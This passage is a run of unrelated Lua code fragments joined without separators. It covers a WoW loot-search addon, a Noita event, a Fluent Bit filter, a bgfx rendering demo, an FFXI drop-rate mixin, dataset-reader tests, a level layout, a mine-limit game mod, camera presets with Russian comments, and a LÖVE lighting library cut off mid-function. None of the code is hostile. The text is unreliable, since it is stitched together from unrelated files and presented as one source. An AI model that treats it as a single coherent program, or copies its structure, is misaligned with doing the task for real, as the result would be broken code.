print(string.format(k .. ": %s (%s) | %s | %s", v.itemName, addonTbl.GetCount(LastSeenClassicLootTemplate, itemID), v.lootDate, v.source, v.location)); else if v.lootDate == nil then -- Continue else print(string.format(k .. ": %s (%s) | %s | %s", v.itemLink, addonTbl.GetCount(LastSeenClassicLootTemplate, itemID), v.lootDate, v.source, v.location)); end end itemsFound = itemsFound + 1; end end end if itemsFound == 0 then print(L["ADDON_NAME"] .. L["ERROR_MSG_NO_ITEMS_FOUND"] .. " (" .. query .. ")"); else print(L["ADDON_NAME"] .. itemsFound .. L["INFO_MSG_RESULTS"]); end end end --[[ Synopsis: Allows the player to search the items table by an item's ID or its partial/full name, a creature's name, or a zone's name. Use Case(s): - Item: The most common search is by an item's ID or partial/full name to provide another player with proof an item still drops. - Creature: A search to see what items a particular creature has dropped. This is made possible by keeping track of the items a creature has dropped (call a "loot table"). - Zone: An entire zone search, doesn't matter which creature in the zone dropped the item. Provides the player with every item that dropped in the provided zone. Partial/full names supported. ]] addonTbl.Help = function() print(string.format(L["ADDON_NAME"] .. "%s, %s, %s, %s, %s, %s, %s, %s, %s, %s", L["CMD_DISCORD"], L["CMD_FORMAT"], L["CMD_HISTORY"], L["CMD_IMPORT"], L["CMD_LOCALE"], L["CMD_LOOT"], L["CMD_MAN"], L["CMD_REMOVE"], L["CMD_SEARCH"], L["CMD_VIEW"])); end -- Synopsis: Prints out the available commands to the chat frame. addonTbl.Manual = function(args) if args == L["CMD_DISCORD"] then print(L["ADDON_NAME"] .. L["CMD_DISCORD"]); print(L["INFO_MSG_CMD_DISCORD"]); elseif args == L["CMD_FORMAT"] then print(L["ADDON_NAME"] .. L["CMD_FORMAT"]); print(L["INFO_MSG_CMD_FORMAT"]); elseif args == L["CMD_HELP"] then print(L["ADDON_NAME"] .. L["CMD_HELP"]); print(L["INFO_MSG_CMD_HELP"]); elseif args == L["CMD_HISTORY"] then print(L["ADDON_NAME"] .. L["CMD_HISTORY"]); print(L["INFO_MSG_CMD_HISTORY"]); elseif args == L["CMD_IMPORT"] then print(L["ADDON_NAME"] .. L["CMD_IMPORT"]); print(L["INFO_MSG_CMD_IMPORT"]); elseif args == L["CMD_LOCALE"] then print(L["ADDON_NAME"] .. L["CMD_LOCALE"]); print(L["INFO_MSG_CMD_LOCALE"]); elseif args == L["CMD_LOOT"] then print(L["ADDON_NAME"] .. L["CMD_LOOT"]); print(L["INFO_MSG_CMD_LOOT"]); elseif args == L["CMD_MAN"] then print(L["ADDON_NAME"] .. L["CMD_MAN"]); print(L["INFO_MSG_CMD_MAN"]); elseif args == L["CMD_REMOVE"] then print(L["ADDON_NAME"] .. L["CMD_REMOVE"]); print(L["INFO_MSG_CMD_REMOVE"]); elseif args == L["CMD_SEARCH"] then print(L["ADDON_NAME"] .. L["CMD_SEARCH"]); print(L["INFO_MSG_CMD_SEARCH"]); elseif args == L["CMD_VIEW"] then print(L["ADDON_NAME"] .. L["CMD_VIEW"]); print(L["INFO_MSG_CMD_VIEW"]); end end -- Synopsis: The player can toss commands to this function to learn more about them.
register_outcome{ text = "Random Spell", subtext = "A small favour", good = true, comment = "todo", rarity = 15, cooldown = seconds(30), apply = function() local x, y = get_player_pos() SetRandomSeed( GameGetFrameNum(), x + y ) local chosen_action = GetRandomAction( x, y, Random( 0, 6 ), Random( 1, 9999999 ) ) local action = CreateItemActionEntity( chosen_action, x, y ) EntitySetComponentsWithTagEnabled( action, "enabled_in_world", true ) EntitySetComponentsWithTagEnabled( action, "item_unidentified", false ) end, }
function copy(obj) if type(obj) ~= 'table' then return obj end local res = {} for k, v in pairs(obj) do res[copy(k)] = copy(v) end return res end function multiplex_disk_stats(tag, timestamp, record) new_record = {} for k, v in pairs(record["disk"]) do new_record[k] = copy(record) new_record[k]["host.disk.mount"] = v["mount"] new_record[k]["host.disk.total"] = tonumber(v["total"]) new_record[k]["host.disk.free"] = tonumber(v["available"]) new_record[k]["host.disk.used"] = tonumber(v["total"]) - tonumber(v["available"]) new_record[k]["host.disk.used_percentage"] = new_record[k]["host.disk.used"] / tonumber(v["total"]) new_record[k]["disk"] = nil end return 2, timestamp, new_record end
package.cpath = "bin/?.dll" local iup = require "iuplua" local bgfx = require "bgfx" local util = require "util" local math3d = require "math3d" local kDimWidth = 11 local kDimHeight = 11 local s_cubeVertices = { -1.0, 1.0, 1.0, 0xff000000 , 1.0, 1.0, 1.0, 0xff0000ff , -1.0, -1.0, 1.0, 0xff00ff00 , 1.0, -1.0, 1.0, 0xff00ffff , -1.0, 1.0, -1.0, 0xffff0000 , 1.0, 1.0, -1.0, 0xffff00ff , -1.0, -1.0, -1.0, 0xffffff00 , 1.0, -1.0, -1.0, 0xffffffff , } local ctx = { canvas = iup.canvas {}, } local dlg = iup.dialog { ctx.canvas, title = "35-dynamic", size = "HALFxHALF", } local tmp = {} local time = 0 local function mainloop() math3d.reset() bgfx.touch(0) time = time + 0.01 do local angle = math.random() local mtx = math3d.matrix { r = { 0,0, angle } } for i = 1, 32, 4 do local vec = math3d.vector(s_cubeVertices[i], s_cubeVertices[i+1], s_cubeVertices[i+2]) vec = math3d.totable(math3d.transform( mtx, vec, 1)) tmp[i], tmp[i+1], tmp[i+2] = vec[1],vec[2],vec[3] local r = math.random(0,0xff) local g = math.random(0,0xff) local b = math.random(0,0xff) local a = math.random(0,0xff) tmp[i+3] = r << 24 | g << 16 | b << 8 | a end local idx = math.random(1, kDimWidth*kDimHeight) bgfx.update(ctx.m_vbh[idx], 0, bgfx.memory_buffer("fffd", tmp)) end -- Submit 11x11 cubes. for yy = 0, kDimHeight do for xx = 0, kDimWidth do local mtx = math3d.matrix { r = {time + xx*0.21, time + yy * 0.37, 0}, t = {-15.0 + xx * 3, -15.0 + yy * 3, 0} } -- Set model matrix for rendering. bgfx.set_transform(mtx) -- Set vertex and index buffer. bgfx.set_vertex_buffer(ctx.m_vbh[yy*kDimWidth+xx+1]) bgfx.set_index_buffer(ctx.m_ibh) -- Set render states. bgfx.set_state(ctx.state) -- Submit primitive for rendering to view 0. bgfx.submit(0, ctx.prog) end end bgfx.frame() end function ctx.init() bgfx.set_view_clear(0, "CD", 0x303030ff, 1, 0) ctx.vdecl = bgfx.vertex_layout { { "POSITION", 3, "FLOAT" }, { "COLOR0", 4, "UINT8", true }, } -- Create static vertex buffer. ctx.m_vbh = {} for yy = 0 , kDimHeight do for xx = 0, kDimWidth do ctx.m_vbh[yy*kDimWidth+xx+1] = bgfx.create_dynamic_vertex_buffer( bgfx.memory_buffer("fffd", s_cubeVertices), ctx.vdecl) end end -- Create static index buffer. ctx.m_ibh = bgfx.create_dynamic_index_buffer { 0, 1, 2, 3, 7, 1, 5, 0, 4, 2, 6, 7, 4, 5, } ctx.prog = util.programLoad("vs_cubes", "fs_cubes") ctx.state = bgfx.make_state({ PT = "TRISTRIP" } , nil) -- base on BGFX_STATE_DEFAULT end function ctx.resize(w,h) ctx.width = w ctx.height = h bgfx.set_view_rect(0, 0, 0, ctx.width, ctx.height) bgfx.reset(ctx.width,ctx.height, "vmx") local viewmat = math3d.lookat ( { 0,0,-35}, { 0,0,0}) local projmat = math3d.projmat { fov = 60, aspect = w/h, n = 0.1, f = 100 } bgfx.set_view_transform(0, viewmat, projmat) end util.init(ctx) dlg:showxy(iup.CENTER,iup.CENTER) dlg.usersize = nil util.run(mainloop)
-- Dynamis procs mixin require("scripts/globals/mixins") require("scripts/globals/dynamis") require("scripts/globals/status") g_mixins = g_mixins or {} g_mixins.dynamis_beastmen = function(mob) local procjobs = { [tpz.job.WAR] = "ws", [tpz.job.MNK] = "ja", [tpz.job.WHM] = "ma", [tpz.job.BLM] = "ma", [tpz.job.RDM] = "ma", [tpz.job.THF] = "ja", [tpz.job.PLD] = "ws", [tpz.job.DRK] = "ws", [tpz.job.BST] = "ja", [tpz.job.BRD] = "ma", [tpz.job.RNG] = "ja", [tpz.job.SAM] = "ws", [tpz.job.NIN] = "ja", [tpz.job.DRG] = "ws", [tpz.job.SMN] = "ma" } local familyCurrency = { [334] = 1452, -- OrcNM (bronzepiece) [337] = 1455, -- QuadavNM (1 byne bill) [360] = 1449, -- YagudoNM (whiteshell) } -- "With Treasure Hunter on every procced monster, you can expect approximately 1.7 coins per kill on average." -- "Without Treasure Hunter, you can expect about 1.25 coins per kill on average." -- "Without a proc, the coin drop rate is very low (~10%)" local thCurrency = { [0] = {single = 100, hundo = 5}, [1] = {single = 115, hundo = 10}, [2] = {single = 145, hundo = 20}, [3] = {single = 190, hundo = 35}, [4] = {single = 250, hundo = 50}, } mob:addListener("MAGIC_TAKE", "DYNAMIS_MAGIC_PROC_CHECK", function(target, caster, spell) if procjobs[target:getMainJob()] == "ma" and math.random(0, 99) < 8 and target:getLocalVar("dynamis_proc") == 0 then dynamis.procMonster(target, caster) end end) mob:addListener("WEAPONSKILL_TAKE", "DYNAMIS_WS_PROC_CHECK", function(target, user, wsid) if procjobs[target:getMainJob()] == "ws" and math.random(0, 99) < 25 and target:getLocalVar("dynamis_proc") == 0 then dynamis.procMonster(target, user) end end) mob:addListener("ABILITY_TAKE", "DYNAMIS_ABILITY_PROC_CHECK", function(mob, user, ability, action) if procjobs[mob:getMainJob()] == "ja" and math.random(0, 99) < 20 and mob:getLocalVar("dynamis_proc") == 0 then dynamis.procMonster(mob, user) end end) mob:addListener("DEATH", "DYNAMIS_ITEM_DISTRIBUTION", function(mob, killer) if killer then local th = thCurrency[math.min(mob:getTHlevel(), 4)] local family = mob:getFamily() local currency = familyCurrency[family] if currency == nil then currency = 1449 + math.random(0, 2) * 3 end local singleChance = th.single local hundoChance = th.hundo if mob:getMainLvl() > 90 then singleChance = math.floor(singleChance * 1.5) end if mob:getLocalVar("dynamis_proc") >= 4 then killer:addTreasure(currency + 1, mob) end -- white (special) adds 100% hundo slot if mob:isNM() then killer:addTreasure(currency + 1, mob, hundoChance) end -- base hundo slot if mob:getLocalVar("dynamis_proc") >= 3 then killer:addTreasure(currency, mob) end -- red (high) adds 100% single slot if mob:getLocalVar("dynamis_proc") >= 2 then killer:addTreasure(currency, mob, singleChance) end -- yellow (medium) adds single slot if mob:getLocalVar("dynamis_proc") >= 1 then killer:addTreasure(currency, mob, singleChance) end -- blue (low) adds single slot killer:addTreasure(currency, mob, singleChance) -- base single slot end end) end return g_mixins.dynamis_beastmen
local test = require 'regress' local Reader = require 'dataset.Reader' local function testBatch(batchSize) local urls = { '4', '1', '2', '9', '5', '7', '6' } local i = 0 local function next() i = i + 1 return urls[i] end local function get(url) local t1 = os.clock() + (tonumber(url) / 10) while t1 > os.clock() do end return url end local reader = Reader(next, { get = get }) local seen = { } local numBatches = math.ceil(#urls / batchSize) for k = 1,numBatches do local batch = reader.get(batchSize) for _,res in ipairs(batch) do table.insert(seen, res.url) end end test.mustBeTrue(i == 7 or i == 8, 'all urls must be used: '..i..' for batchSize '..batchSize) test.mustBeTrue(#seen == 7, 'seen must have 7 items for batchSize '..batchSize) for j = 1,i-1 do test.mustBeTrue(seen[j] == urls[j], 'must see "'..urls[j]..'" at index '..j..' for batchSize '..batchSize) end end -- Tests: test { testBatchedOrdering = function() testBatch(1) testBatch(2) testBatch(3) testBatch(64) end, testSkippingFailures = function() local i = 0 local function next() i = i + 1 return tostring(i) end local function get(url) if tonumber(url) % 3 > 0 then return url end end local function processor(res) if tonumber(res) % 13 == 0 then error('skip me') end return true end local reader = Reader(next, { get = get, processor = processor }) for i = 1,100 do local batch = reader.get(4) for _,v in ipairs(batch) do local j = tonumber(v.url) test.mustBeTrue(j % 3 > 0, 'should never see % 3 numbers') test.mustBeTrue(j % 13 > 0, 'should never see % 13 numbers') end end end, testWithTensors = function() local x = { 1,2,0,4, 5,6,7,8, 0,10,-1,12, 0,-1,0,16, 17,0,19,20, -1,0,0,-1, 25,26,27,28 } local y = { 1,2,4, 5,6,7,8, 10,12, 16, 17,19,20, 25,26,27,28 } local i = 0 local function next() i = i + 1 return tostring(x[i]) end local function get(url) if url ~= '0' then return url end end local function processor(res, processorOpt, input) if res ~= '-1' then input:fill(tonumber(res)) return true end end local reader = Reader(next, { get = get, processor = processor }) local input = torch.FloatTensor(4, 1) local z = 1 for i = 1,(#x/4) do input:fill(0) local batch = reader.get(4, input) for k,v in ipairs(batch) do local j = tonumber(v.url) test.mustBeTrue(j == y[z], 'should see '..y[z]..' not '..j..' at '..z) z = z + 1 test.mustBeTrue(j ~= 0, 'should never see 0') test.mustBeTrue(j ~= -1, 'should never see -1') local f = input[k][1] test.mustBeTrue(f == j, 'should have tensor value '..f..' equal to '..j) end end end, testMultipleGet = function() local ni1 = 0 local function next1() ni1 = ni1 + 1 return ni1 end local ni2 = 1000 local function next2() ni2 = ni2 + 1 return ni2 end local function processor(res1, res2, processorOpt, input) input[1] = res1 input[2] = res2 return true end local reader = Reader({ next1, next2 }, { processor = processor, verbose = true }) local input = torch.FloatTensor(1, 2) for i = 1,100 do local batch = reader.get(1, input) test.mustBeTrue(input[1][1] == i) test.mustBeTrue(input[1][2] == 1000 + i) end end, testExtra = function() local ni1 = 0 local function next1() ni1 = ni1 + 1 return ni1 end local function processor(res, processorOpt, input) input[1] = tonumber(res) local extra = torch.FloatTensor(3, 3) extra:fill(tonumber(res)) return true, extra end local reader = Reader({ next1, next2 }, { processor = processor, verbose = true }) local input = torch.FloatTensor(1, 1) for i = 1,100 do local batch = reader.get(1, input) test.mustBeTrue(input[1][1] == i) test.mustBeTrue(batch[1].extra:sum() == 9*i) end end, }
return { map = 2, Hacked_cannon = {mapX = 6, mapY = 4}, ammo = { 'balls', 'bomb', 'bomb', 'normal', 'normal'}, bugs = { {x = 1596, y = 230}, {x = math.random(1596), y = 230}, {x = 2302, y = 166}, {x = math.random(2302), y = 166}, {x = 639, y = 358}, {x = math.random(639), y = 358}, {x = 486, y = 294}, {x = math.random(486), y = 294}, {x = 1166, y = 358}, {x = math.random(1166), y = 358}, {x = 1333, y = 358}, {x = math.random(1333), y = 358}, {x = 1481, y = 230}, {x = math.random(1481), y = 230}, {x = 1713, y = 230}, {x = 1600, y = 358}, {x = 1734, y = 358}, {x = 1865, y = 358}, {x = 1976, y = 358}, {x = 2142, y = 358}, {x = 2044, y = 358}, {x = 2185, y = 166}, {x = 2412, y = 166}, {x = 2279, y = 358}, {x = 2463, y = 358}, {x = 2391, y = 358}, {x = 2852, y = 38}, {x = 2937, y = 38}, {x = 3009, y = 38} }, blocks = { {material = 'stone', name = 'rectangle5', x = 1758, y = 200, rotation = 0}, {material = 'stone', name = 'rectangle5', x = math.random(1758), y = 200, rotation = 0}, {material = 'stone', name = 'rectangle5', x = 1437, y = 200, rotation = 0}, {material = 'stone', name = 'rectangle5', x = math.random(1437), y = 200, rotation = 0}, {material = 'stone', name = 'rectangle5', x = 1543, y = 200, rotation = 0}, {material = 'stone', name = 'rectangle5', x = math.random(1543), y = 200, rotation = 0}, {material = 'stone', name = 'rectangle4', x = 1487, y = 127, rotation = 0}, {material = 'stone', name = 'rectangle4', x = math.random(1487), y = 127, rotation = 0}, {material = 'stone', name = 'rectangle5', x = 1654, y = 200, rotation = 0}, {material = 'stone', name = 'rectangle5', x = math.random(1654), y = 200, rotation = 0}, {material = 'stone', name = 'rectangle4', x = 1598, y = 127, rotation = 0}, {material = 'stone', name = 'rectangle4', x = 1709, y = 127, rotation = 0}, }, }
local networkVars = { numOwned = "private integer" } Shared.LinkClassToMap("LayMines", LayMines.kMapName, networkVars) local oldOnUpdateRender = LayMines.OnUpdateRender function LayMines:OnUpdateRender() oldOnUpdateRender(self) local parent = self:GetParent() local settings = self:GetUIDisplaySettings() if parent and parent:GetIsLocalPlayer() and settings then if self.ammoDisplayUI then self.ammoDisplayUI:SetGlobal("weaponClip", self.numOwned) self.ammoDisplayUI:SetGlobal("weaponMax", kMaxNumMines) end end end if Server then function SortMinesByAge(entities) local function compareAge(a, b) local age1 = a.timeLastHealed local age2 = b.timeLastHealed return age1 > age2 end table.sort(entities, compareAge) end local function UpdateOwnedMines(self, player) local total = 0 local mines = GetEntitiesForTeam("Mine", player:GetTeamNumber()) local myMines = {} for _, mine in ipairs(mines) do if mine:GetIsAlive() and mine:GetOwner() == player then total = total + 1 table.insert(myMines, mine) end end if total > kMaxNumMines then SortMinesByAge(myMines) while total > kMaxNumMines do local mine = table.remove(myMines) mine:Kill(player, player) total = total - 1 end end self.numOwned = total end local oldOnDraw = LayMines.OnDraw function LayMines:OnDraw(player, previousWeaponMapName) oldOnDraw(self, player, previousWeaponMapName) UpdateOwnedMines(self, player) end local oldPerformPrimaryAttack = LayMines.PerformPrimaryAttack function LayMines:PerformPrimaryAttack(player) local created_mine = oldPerformPrimaryAttack(self, player) if created_mine then UpdateOwnedMines(self, player) end return created_mine end end
cameraPresets = {} cameraPresets.vehicleTuning = { targetPosition = Vector3(0, 0, 0.3), rotationHorizontal = 30, rotationVertical = 0, distance = 7, FOV = 50, roll = 0 } cameraPresets.startingCamera = { targetPosition = Vector3(1.4, 1, 0), rotationHorizontal = 30, rotationVertical = 5, distance = 7, FOV = 50, roll = 0 } cameraPresets.freeLookCamera = { targetPosition = Vector3(0, 0.1, 0), rotationHorizontal = 30, rotationVertical = 5, distance = 6, FOV = 55, roll = 0 } ---------------------------------------------------------- -- Дым cameraPresets.smokeColor = { targetPosition = Vector3(0, 1, 0), rotationHorizontal = -20, rotationVertical = 10, distance = 6, FOV = 50, roll = 0 } cameraPresets.selectingSmokeColor = { targetPosition = Vector3(1, 1, 0.4), rotationHorizontal = -20, rotationVertical = 5, distance = 6, FOV = 50, roll = 0 } ---------------------------------------------------------- -- Передний бампер cameraPresets.frontBump = { targetPosition = Vector3(0, 1, 0), rotationHorizontal = 10, rotationVertical = 20, distance = 6, FOV = 50, roll = 0 } -- Передний бампер при покупке cameraPresets.previewFrontBump = { targetPosition = Vector3(1, 1, 0), rotationHorizontal = 10, rotationVertical = 10, distance = 6, FOV = 50, roll = 0 } ---------------------------------------------------------- -- Задний бампер cameraPresets.rearBump = { targetPosition = Vector3(0, -1, 0), rotationHorizontal = 150, rotationVertical = 5, distance = 6, FOV = 45, roll = 0 } -- Задний бампер при покупке cameraPresets.previewRearBump = { targetPosition = Vector3(-0.5, -1, 0.3), rotationHorizontal = 160, rotationVertical = 0, distance = 5.5, FOV = 50, roll = 0 } ---------------------------------------------------------- -- Спойлер cameraPresets.spoiler = { targetPosition = Vector3(0, -1, 0), rotationHorizontal = 220, rotationVertical = 20, distance = 5, FOV = 50, roll = 0 } -- Спойлер при покупке cameraPresets.previewSpoilers = { targetPosition = Vector3(0.6, -1, 0.4), rotationHorizontal = 200, rotationVertical = 10, distance = 5.5, FOV = 50, roll = 0 } ---------------------------------------------------------- -- Юбки cameraPresets.skirts = { targetPosition = Vector3(0, 0, -0.2), rotationHorizontal = -50, rotationVertical = 0, distance = 5, FOV = 50, roll = 0 } -- Юбки при покупке cameraPresets.previewSideSkirts = { targetPosition = Vector3(0.9, -0.7, -0.2), rotationHorizontal = -30, rotationVertical = 0, distance = 5.5, FOV = 50, roll = 0 } ---------------------------------------------------------- -- Колесо cameraPresets.wheelLF = { targetPosition = "wheel_lf_dummy", rotationHorizontal = 45, rotationVertical = 10, distance = 4, FOV = 40, roll = 0 } -- Колесо cameraPresets.wheelLB = { targetPosition = "wheel_lb_dummy", rotationHorizontal = 45, rotationVertical = 10, distance = 4, FOV = 40, roll = 0 } -- Колёса при покупке cameraPresets.previewWheelsF = { targetPosition = Vector3(-1, 0, -0.05), rotationHorizontal = 35, rotationVertical = 5, distance = 5, FOV = 50, roll = 0 } -- Задние колёса при покупке cameraPresets.previewWheelsR = { targetPosition = Vector3(-1, -2, -0.05), rotationHorizontal = 35, rotationVertical = 5, distance = 5, FOV = 50, roll = 0 } -- Размер колёс cameraPresets.wheelsSize = { targetPosition = Vector3(0, 0, -0.3), rotationHorizontal = 60, rotationVertical = 5, distance = 5, FOV = 55, roll = 0 } cameraPresets.previewWheelsSize = { targetPosition = Vector3(-0.5, -0.7, -0.3), rotationHorizontal = 45, rotationVertical = 5, distance = 6.2, FOV = 55, roll = 0 } ---------------------------------------------------------- -- Задние фендеры cameraPresets.rearFends = { targetPosition = Vector3(0, 0, -0.2), rotationHorizontal = -130, rotationVertical = 0, distance = 4.5, FOV = 50, roll = 0 } -- Задние фендеры при покупке cameraPresets.previewRearFends = { targetPosition = Vector3(0.8, 0.5, -0.1), rotationHorizontal = -140, rotationVertical = 0, distance = 5.5, FOV = 50, roll = 0 } ---------------------------------------------------------- -- Передние фендеры cameraPresets.frontFends = { targetPosition = Vector3(0, 0.5, -0.2), rotationHorizontal = -40, rotationVertical = 0, distance = 4.5, FOV = 50, roll = 0 } -- Передние фендеры при покупке cameraPresets.previewFrontFends = { targetPosition = Vector3(0.8, 0.5, -0.2), rotationHorizontal = -30, rotationVertical = 0, distance = 5, FOV = 50, roll = 0 } ---------------------------------------------------------- -- Капот cameraPresets.bonnet = { targetPosition = Vector3(0, 1, 0), rotationHorizontal = -10, rotationVertical = 20, distance = 6, FOV = 50, roll = 0 } -- Капот при покупке cameraPresets.previewBonnets = { targetPosition = Vector3(1, 1, 0), rotationHorizontal = -10, rotationVertical = 10, distance = 6, FOV = 50, roll = 0 } ---------------------------------------------------------- -- Выхлоп cameraPresets.exhaust = { targetPosition = Vector3(0, -1, -0.1), rotationHorizontal = 170, rotationVertical = 4, distance = 5, FOV = 45, roll = 0 } -- Выхлоп при покупке cameraPresets.previewExhaust = { targetPosition = Vector3(-0.8, -1, 0), rotationHorizontal = 180, rotationVertical = 5.5, distance = 6, FOV = 45, roll = 0 } ---------------------------------------------------------- -- Задние фары cameraPresets.rearLights = { targetPosition = Vector3(0, -1, 0), rotationHorizontal = 180, rotationVertical = 5, distance = 5, FOV = 45, roll = 0 } -- Задние фары при покупке cameraPresets.previewRearLights = { targetPosition = Vector3(-0.8, -1, 0), rotationHorizontal = 180, rotationVertical = 5.5, distance = 6, FOV = 45, roll = 0 } ---------------------------------------------------------- -- Передние фары cameraPresets.frontLights = { targetPosition = Vector3(0, 1, -0.1), rotationHorizontal = 0, rotationVertical = 10, distance = 5, FOV = 40, roll = 0 } -- Передние фары при покупке cameraPresets.previewFrontLights = { targetPosition = Vector3(0.7, 1, 0.2), rotationHorizontal = 0, rotationVertical = 10, distance = 6, FOV = 45, roll = 0 } ---------------------------------------------------------- -- Подвеска cameraPresets.suspension = { targetPosition = Vector3(0, 0, -0.3), rotationHorizontal = 50, rotationVertical = 0, distance = 6, FOV = 55, roll = 0 } cameraPresets.previewSuspension = { targetPosition = Vector3(-0.2, -1.7, -0.3), rotationHorizontal = 40, rotationVertical = 0, distance = 7, FOV = 60, roll = 0 } ---------------------------------------------------------- -- Улучешния cameraPresets.upgrades = { targetPosition = Vector3(0, 0.2, -0.1), rotationHorizontal = 30, rotationVertical = 0, distance = 7, FOV = 50, roll = 0 } cameraPresets.previewUpgrades = { targetPosition = Vector3(0, 0, -0.1), rotationHorizontal = 20, rotationVertical = 0, distance = 6.8, FOV = 50, roll = 0 } ---------------------------------------------------------- -- Оффсет передних колёс cameraPresets.wheelsOffsetFront = { targetPosition = "wheel_lf_dummy", rotationHorizontal = 30, rotationVertical = 20, distance = 4, FOV = 40, roll = 0 } ---------------------------------------------------------- -- Оффсет задних колёс cameraPresets.wheelsOffsetRear = { targetPosition = "wheel_lb_dummy", rotationHorizontal = 30, rotationVertical = 20, distance = 4, FOV = 40, roll = 0 } ------------------------------------------------------ -- Номерной знак cameraPresets.numberplate = { targetPosition = Vector3(0, 1, -0.2), rotationHorizontal = 0, rotationVertical = 0, distance = 4, FOV = 50, roll = 0 } -- Номерной знак при покупке cameraPresets.previewNumberplate = { targetPosition = Vector3(0, 1, -0.2), rotationHorizontal = 0, rotationVertical = 0, distance = 4, FOV = 30, roll = 0 } ---------------------------------------------------------- ---------------------------------------------------------- -- ЦВЕТА ---------------------------------------------------------- ---------------------------------------------------------- cameraPresets.bodyColor = { targetPosition = Vector3(0, 1, 0), rotationHorizontal = -30, rotationVertical = 10, distance = 6, FOV = 50, roll = 0 } cameraPresets.selectingBodyColor = { targetPosition = Vector3(1, 1, 0.4), rotationHorizontal = -20, rotationVertical = 5, distance = 6, FOV = 50, roll = 0 } ---------------------------------------------------------- cameraPresets.selectingWheelsColorF = { targetPosition = Vector3(-1, 0, -0.05), rotationHorizontal = 35, rotationVertical = 5, distance = 5, FOV = 50, roll = 0 } cameraPresets.selectingWheelsColorR = { targetPosition = Vector3(-1, -2, -0.05), rotationHorizontal = 35, rotationVertical = 5, distance = 5, FOV = 50, roll = 0 } ---------------------------------------------------------- cameraPresets.selectingSpoilerColor = { targetPosition = Vector3(0.6, -1, 0.4), rotationHorizontal = 200, rotationVertical = 10, distance = 5.5, FOV = 50, roll = 0 } ---------------------------------------------------------- ---------------------------------------------------------- -- НАКЛЕЙКИ (СТОРОНЫ) ---------------------------------------------------------- ---------------------------------------------------------- cameraPresets.sideFront = { targetPosition = Vector3(0, 1, 0), rotationHorizontal = 0, rotationVertical = 30, distance = 6, FOV = 50, roll = 0 } cameraPresets.sideLeft = { targetPosition = Vector3(0, 0, 0), rotationHorizontal = 90, rotationVertical = 5, distance = 7, FOV = 50, roll = 0 } cameraPresets.sideBack = { targetPosition = Vector3(0, -1, 0), rotationHorizontal = 180, rotationVertical = 30, distance = 6, FOV = 50, roll = 0 } cameraPresets.sideRight = { targetPosition = Vector3(0, 0, 0), rotationHorizontal = 270, rotationVertical = 5, distance = 7, FOV = 50, roll = 0 } cameraPresets.sideTop = { targetPosition = Vector3(0, -0.5, 0), rotationHorizontal = 0, rotationVertical = 70, distance = 5.5, FOV = 50, roll = 0 }
--[[ The MIT License (MIT) Copyright (c) 2014 Marcus Ihde, Tim Anema Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ]] local _PACKAGE = string.gsub(...,"%.","/") or "" if string.len(_PACKAGE) > 0 then _PACKAGE = _PACKAGE .. "/" end local Light = require(_PACKAGE..'light') local Body = require(_PACKAGE..'body') local util = require(_PACKAGE..'util') local PostShader = require(_PACKAGE..'postshader') local light_world = {} light_world.__index = light_world light_world.image_mask = love.graphics.newShader(_PACKAGE.."/shaders/image_mask.glsl") light_world.shadowShader = love.graphics.newShader(_PACKAGE.."/shaders/shadow.glsl") light_world.refractionShader = love.graphics.newShader(_PACKAGE.."shaders/refraction.glsl") light_world.reflectionShader = love.graphics.newShader(_PACKAGE.."shaders/reflection.glsl") local function new(options) local obj = {} obj.lights = {} obj.bodies = {} obj.post_shader = PostShader() obj.l, obj.t, obj.s = 0, 0, 1 obj.ambient = {0, 0, 0} obj.refractionStrength = 8.0 obj.reflectionStrength = 16.0 obj.reflectionVisibility = 1.0 obj.shadowBlur = 2.0 obj.glowBlur = 1.0 obj.glowTimer = 0.0 obj.glowDown = false obj.disableGlow = false obj.disableMaterial = false obj.disableReflection = true obj.disableRefraction = true options = options or {} for k, v in pairs(options) do obj[k] = v end local world = setmetatable(obj, light_world) world:refreshScreenSize() return world end function light_world:refreshScreenSize(w, h) w, h = w or love.graphics.getWidth(), h or love.graphics.getHeight() self.w, self.h = w, h self.render_buffer = love.graphics.newCanvas(w, h) self.shadow_buffer = love.graphics.newCanvas(w, h) self.normalMap = love.graphics.newCanvas(w, h) self.shadowMap = love.graphics.newCanvas(w, h) self.glowMap = love.graphics.newCanvas(w, h) self.refractionMap = love.graphics.newCanvas(w, h) self.reflectionMap = love.graphics.newCanvas(w, h) self.post_shader:refreshScreenSize(w, h) end function light_world:update(dt) for i = 1, #self.bodies do self.bodies[i].is_on_screen = self.bodies[i]:inRange(-self.l,-self.t,self.w,self.h,self.s) if self.bodies[i]:isVisible() then self.bodies[i]:update(dt) end end for i = 1, #self.lights do self.lights[i].is_on_screen = self.lights[i]:inRange(self.l,self.t,self.w,self.h,self.s) end end function light_world:draw(cb) util.drawto(self.render_buffer, self.l, self.t, self.s, function() cb( self.l,self.t,self.w,self.h,self.s) _ = self.disableMaterial or self:drawMaterial( self.l,self.t,self.w,self.h,self.s) self:drawShadows( self.l,self.t,self.w,self.h,self.s) _ = self.disableGlow or self:drawGlow( self.l,self.t,self.w,self.h,self.s) _ = self.disableRefraction or self:drawRefraction( self.l,self.t,self.w,self.h,self.s) _ = self.disableReflection or self:drawReflection( self.l,self.t,self.w,self.h,self.s) end) self.post_shader:drawWith(self.render_buffer, self.l, self.t, self.s) end -- draw normal shading function light_world:drawShadows(l,t,w,h,s) love.graphics.setCanvas( self.normalMap ) love.graphics.clear() love.graphics.setCanvas() util.drawto(self.normalMap, l, t, s, function() for i = 1, #self.bodies do if self.bodies[i]:isVisible() then self.bodies[i]:drawNormal() end end end) self.shadowShader:send('normalMap', self.normalMap) self.shadowShader:send("invert_normal", self.normalInvert == true) love.graphics.setCanvas( self.shadow_buffer ) love.graphics.clear() love.graphics.setCanvas() for i = 1, #self.lights do local light = 